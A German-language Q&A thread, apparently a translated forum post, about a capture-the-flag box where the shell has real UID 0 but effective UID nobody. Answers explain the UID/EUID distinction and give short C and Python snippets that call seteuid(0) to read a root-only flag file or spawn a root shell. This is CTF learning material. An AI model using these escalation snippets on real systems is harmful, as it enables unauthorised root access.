![UID ist root, aber whoami sagt, niemand](https://rvso.com/image/1618348/UID%20ist%20root%2C%20aber%20whoami%20sagt%2C%20niemand.png)
Ich nehme an einem Capture-the-Flag-Wettbewerb teil, bei dem ich eine Art Rechteausweitung implementieren muss, um die flag.txt
Datei lesen zu können. Mir ist aufgefallen, dass ich beim Ausführen whoami
das folgende Ergebnis erhalte:
myHostHere:/$ whoami
nobody
Aber beim Ausführen id
wird meine UID folgendermaßen eingestellt root
:
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
Bedeutet dies, dass ich als Root-Benutzer usw. agieren kann, oder interpretiere ich die Ausgabe falsch?
Bearbeiten:
Die Ausgabe ls -l flag.txt
lautet wie folgt:
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
Antwort1
Dies kann gelöst werden, indem man --static
auf einem separaten Rechner ein C-Programm wie das folgende schreibt und (mit ) kompiliert:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
Diese Datei kann auf die CTF-Maschine kopiert werden, mit der Ausführungsberechtigung versehen chmod +x
und aus dem tmp
Ordner ausgeführt werden.
Antwort2
Ich habe ein Setup erstellt, das Ihrem sehr ähnlich ist. Ich habe es mit einem Debugger gemacht (Beispiele:HierUndDort). In der betroffenen Shell habe ich:
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
Dann, gemäßdiese Antwort:
Achten Sie bei Dateizugriffen und Vorgängen, die Root-Rechte erfordern, auf die effektive UID und GID.
Tatsächlich passiert Folgendes:
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
Aber ich kann Folgendes tun:
$ sudo cat flag.txt
foo
Oder dieses:
$ su -
# whoami
root
# cat flag.txt
foo
Oder dieses:
$ sg root 'cat flag.txt'
foo
Wenn Sie haben , kann Ihnen alles helfen, was Systemaufrufe uid=0
verwenden und dann die Datei lesen kann. Beispiel :seteuid
python
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
Anstatt (oder zusätzlich) die Datei zu lesen, können Sie eine Shell mit erhöhten Rechten starten:
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
In dieser Shell werden Sie root
arbeiten cat flag.txt
.
Testumgebung: Debian GNU/Linux 9.